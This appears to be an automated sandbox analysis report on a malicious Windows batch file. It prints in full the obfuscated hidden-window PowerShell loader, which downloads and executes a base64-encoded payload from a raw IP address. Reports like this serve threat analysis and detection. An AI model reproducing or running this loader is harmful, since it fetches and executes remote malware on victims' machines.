Analysis
- max time kernel
147s - max time network
142s - platform
windows10-2004_x64 - resource
win10v2004-20240419-en - resource tags
- submitted
30/04/2024, 14:55
General
- Target doc.bat
- Size 5KB
- Sample240430-sae5msbc44
- SHA256 188999a135097f382adb1eddbe2f5630c14429c4485da8399addbc68a7fee28b
Score
8/10
Malware Config
Signatures
- Blocklisted process makes network request 6 IoCs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 4 IoCs
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\doc.bat"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -windowstyle hidden "$antifascister = 1;$pedellerne='S';$pedellerne+='ubstrin';$pedellerne+='g';Function cestraction($Balustrade){$Patricierne=$Balustrade.Length-$antifascister;For($Nots=4; $Nots -lt $Patricierne; $Nots+=(5)){$riskiness+=$Balustrade.$pedellerne.Invoke( $Nots, $antifascister);}$riskiness;}function Studdery($Snehares){. ($Tilgodeskrivenedes) ($Snehares);}$Lambitive=cestraction ' TofM peco Achz reciAffal SemlKompaMas,/Prci5afst.Gene0Nymf Tan(V ngW .egiSko,nHur dorthoIndowTrkksSlid TriqN UsuT,lee Spli1 unj0Mild.Cogn0Vist;Med. LavkW mbaiA.apn esk6Hkke4srbe; In. Tha.xKrse6Kr.m4Skib;Stat S inrCymbvFara:.rac1Spis2Us.v1O,sa.Viru0Fabr)Fde BanjGBoi,eEmbacregakTon oU.es/Wh.t2Kis 0Pros1Preg0R.sc0Gang1paa.0 Hoc1 S,c ,ellFPlasiAandrSamae,lorfa,tooS,olxAstr/Crou1.nga2 ede1Mala.Gn s0Fore ';$Overinventoried=cestraction 'PigwUMicrsNig,eS gir .io-UndiAUnteg D reS.amn SpotF.re ';$Symmetrigrunde=cestraction '.rcihDekotNe.ltc ntp.nik:Erst/ Hus/Sta 8 A f7Bass.Reti1Korr2Hepa1Brem.Nst 1Lej,0Bene5Prob.Ridn1Bodi6Grac3Poli/ TorS So,yLftelTelevParaePralss nat lseordir ,is. ulid Friw.orbpA me ';$pterodactylid=cestraction ' M,l>T,tr ';$Tilgodeskrivenedes=cestraction 'PilliCupre.rndxP ei ';$Almaciga='Forstaaelsesprocessen213';Studdery (cestraction 'MealSFri.eForntUnli-NatuCDeseo R.dnOpbltE.raehetentrantBlan Wapp- KobPVarea Ji tWil hNedl Tho,T .am:A.st\RefuSC.afnVapoe BethStrivMutaiO,bydQuin.E crtCra,xUnistJume Spra- GabVBrocaSubsl.irkuD lbeMi,i hist$.ospAE.oml CabmOrloa .utcFlekiSiregBi.aaBore;Te,n ');Studdery (cestraction 'Impri .tafB,ff Frek(Bal.tAntieDelisDgagt.yst-M,srpProta FretB elhGesp C.teT E,t:F.ip\An iSFungnS rieCarahUnpevSpi,iLivadel.c. FortDataxKap tAjow) a t{AmoreSn,vxAnoniBajutLuks}Bord;sopo ');$Tjekkeres = cestraction 'OvereColoc rohPolyoEfte smar% teraTvivpSancphstpd F,raOvertHypoaCoad% T,a\ImpuWDib.oDes.w .ariAer n F jg P,c. UniSSt,ikAdveu tet Enso&Xyli& Stu likeNonhcInc.h umbo ,eo O,je$Nedf ';Studdery (cestraction ' ,aa$DrmmgPrerl TrioTi gbGloraE.rwlAltd:SterPBlg.aSvumrSkina Drsl.alslOpkreA.ryl ScoeHjlapI.gei Bibp SceeMoonds.ovi circL,gu=E.sp(une cEftemTeevdHand Deco/Tasscvolt sten$ Al.TSinkj Gene rekAudik c,ee.dstr,lgeeCam,sOver).rot ');Studdery (cestraction 'Hert$ .negRapil.uckoGalabMolaaRetalReca: BuctMaime SerlUn,teFondsAff kH,terTrypiStikvSubbnbezziBe inUhangTremeStorrHe,o=Ooma$ risS SljyBademBrydmTermeG netKbsprS,haiLavtgSta rAfmauAandn C.adArtheDisc.DiatsKrs.pCh.flDefeiListtUndi(Genn$Ad ipFondtB,sveAbonrRe ro alvdUptoa NoncTesttI dty.ermlUnbeiDemid.iga) ,ly ');$Symmetrigrunde=$teleskrivninger[0];Studdery (cestraction 'Slaa$ I tgKatolHaanowatcbSpexa Antl S e: ealCbu ghHjs eSldnenonarlayoiIganl,lleySpro= oveNHenseIlluwM.nn-AfstOpho.bExhijTiaaeUnlac Nont riv DyveS uly Ba.s PantWolfe linm,oni.Fa,iNBarsevesttIdol.FlirWRep,eDiscbAtioCCitrl.ermiDateeTa jnStjktFus, ');Studdery (cestraction '.dre$TeksCPrech Pale SoleDagsrForri ,ealMangy Sk,. KldHUddaeBricaSk.vdMu.teProgrStats Ang[ epr$SprjOSkdevImage ko.rKitliErosn.nbevPer,e C,enHemot.erroNon rDo,uiAnsje dybdStre]Sk i=Rh u$ae pLStata CormUndeb R,ciSaalt L,niAk ivFriceTikr ');$Nrliggendes=cestraction ' WhoCDetahL.vseSmudepolyr.nseiLgetlNothyP ff.KoiaD TheoTealwStaanT.psl onourbaaFarvdRe.oFInt,iVinel,ondeThul(half$AvenSOvery titm Ti,m,amsesupetCairr Venip etgDecirKranuKo.bnAnnid.temeIllg,Dolk$StreKTmmerVa,diAikedFacotPo,ehThouuSupes,ntiejig.tV,si)Afse ';$Nrliggendes=$Parallelepipedic[1]+$Nrliggendes;$Kridthuset=$Parallelepipedic[0];Studdery (cestraction 'opst$SnorgP.ntlPulloIcilbNursa Dagl.ult:Br,dHU.wiaKontl .orvStats SpusNon t.ammr ayte g rn a.ge AntsSura=Phot(NykkTNdr eKysts OldtStbe-BankP eopa ReatUdskh ung Sme$PubeKOverrDrili,irkdLisstPreahIndeu apesKonfe B,ut M,s)L.pp ');while (!$Halvsstrenes) {Studdery (cestraction 'Chry$ Numg.illlU,phoAva,b.rupaU,dulAtar:Men,P.oliaOldlt Genr.ncyoTursnEmirycombmPlaniEmalk teaS,nkeA munSprke O,e=Dasy$Af ltLipor ReduC.cue Chr ') ;Studdery $Nrliggendes;Studdery (cestraction ' Dr SSyndt FasaHa,ar omtFo,o- ButSD,apl Il.eIlteeBackp buk Cent4 Bod ');Studdery (cestraction 'Unas$fodbg Stil ncoo rueb NooaDeprl,uns:Udt H.eleaIndflBrnev ,vesBesksca.ftD rtrBagbeunvunembleDulcsS ul=,eco(CancT,oeremodls DontPo.d-P oxPT buaDa.ptgennhDebr Ga,$HoveK uccr,ndeiTresdLhe.tIs.chHemiuPitasSamteBygrt,odo)Supe ') ;Studdery (cestraction ' Enh$DatagAglelSouroSpinbAntiaGruplSe v:Opt,TStene,chntStrerMaa.oS,ubn KamiSorgcmobi=Plag$ Wo.g,ranlKolpoDrsibGaspa,katlAnsk:EremNBolie.oncdStiklHar.aPoiseGe.ogFri gIniteSarilFyr sspaaeKnap+Atel+For.%M ds$ Aart,upeeLnpolE.ste.nlisL gnkrenhrf emiSvvav Untn B,niSlaanDrueg codeBagwrTr o. FiscAnfoo Tr,uIn.un Chat Om. ') ;$Symmetrigrunde=$teleskrivninger[$Tetronic];}Studdery (cestraction 'Quot$AnasgEl.llLunaoPolibHenga mpal Ba :FlebF tegoprotrqhdepHypoo ,ussR ditLoreeSkiwnTilv Unb=Leks PoliGProteJudgtTubu-D soCekseo Jamnkendt ScreDokun IodtSem. Komm$InorKMilirjerei Dtdd HabtVi.ehTabeu Pars.vereFan.tStri ');Studdery (cestraction 'Obsk$SndagPersl ModoJordbArbeaFestlVisu: m uc.almo .ncrDuankUndemFr.maAfh.kBiogeUnaur U.s Iglo=Hfli Ang[ NarShag,yLigesSkift SpueSamum,adr. DysC,risoUlvenS anv I.heMoo,rTyvat.umb]Rom,:O.ku:KrmmFSkabrMalmoRaadm Pe.B ognafriesTil.e Ord6Pers4 kaSHomitSkabr Re i Coun .ilgV nf( Fan$ No FC alothourpaksp EnaoForesDimmtUnveeudtanmaan)Sma ');Studdery (cestraction ' Ko,$G,lagDagslWi loC,ombCau aPlatlJule: GjoGS araOprrtVandf Pari ThrnBensnborte Cad1Akku0 Tvi0Gert Ting= Sm, Q ar[O hiSDermy irtsLo,wt nteeSkotm sur.ClaiTTraneGlanxS,kktBath.WienEUncinGrd,cDuftof,ekdForfiHe gn UltgSand]hasp:Dise:Bje.ANoneSGreeCHalfI U,sIUnna.Spr,GFedte brit FagS.eortResurCo.niNe,pnMoongLain(Gytj$DibecPan.oLeitrIndrk Mikmvugga Blsk eleeepeer Pel)Bofo ');Studdery (cestraction ' Thr$AumegDafflGeseo olybclava HowlH,ra:AffiGR.inlpa oy imecW,pdeHypor S viOldfz asee.poo=Maur$DataG.ndsaEuphtSarzfSubsi utsn RecnOvere Co.1.kak0 vis0sp.i.Calos BeruSuppb VarsEdlet P rrUnt iAliun,yrrg Str( S k2Prod7Nonf8Chau9pi.h2rati9Diso, .ej2 Ang7,nte7Mang0 Tal3 P s) shi ');Studdery $Glycerize;"2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Wowing.Sku && echo $"3⤵
-
-
Network
MITRE ATT&CK Matrix
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_i0gmve4p.zzp.ps1
memory/2484-2-0x000001B8B8A60000-0x000001B8B8A82000-memory.dmp
memory/2484-12-0x00007FFF7DDE0000-0x00007FFF7E8A1000-memory.dmp
memory/2484-14-0x000001B8D10B0000-0x000001B8D10C0000-memory.dmp
memory/2484-13-0x000001B8D10B0000-0x000001B8D10C0000-memory.dmp
memory/2484-15-0x000001B8D10B0000-0x000001B8D10C0000-memory.dmp
memory/2484-16-0x00007FFF7DDE0000-0x00007FFF7E8A1000-memory.dmp
memory/2484-17-0x000001B8D10B0000-0x000001B8D10C0000-memory.dmp
memory/2484-18-0x000001B8D10B0000-0x000001B8D10C0000-memory.dmp
memory/2484-19-0x000001B8D10B0000-0x000001B8D10C0000-memory.dmp